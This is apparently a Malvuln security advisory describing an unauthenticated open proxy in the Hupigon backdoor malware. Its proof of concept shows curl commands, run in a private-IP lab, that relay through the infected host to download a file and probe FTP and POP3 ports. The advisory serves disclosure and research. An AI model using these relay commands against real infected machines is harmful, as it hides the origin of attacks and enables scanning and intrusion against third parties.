Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.gy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: be74cbb86c007309d8004d910f5270f7
Vuln ID: MVID-2021-0357
Dropped files: woaisaomm.exe 
Disclosure: 10/04/2021 


Exploit/PoC:
Download filez)

curl https://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128"  --output DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  12288      0  0:00:02  0:00:02 --:--:-- 11155

Scan ports)

curl https://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.

curl https://192.168.18.125:8080/DOOM.exe  -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <25705.1632630840@pop3host>
-ERR Unknown command.


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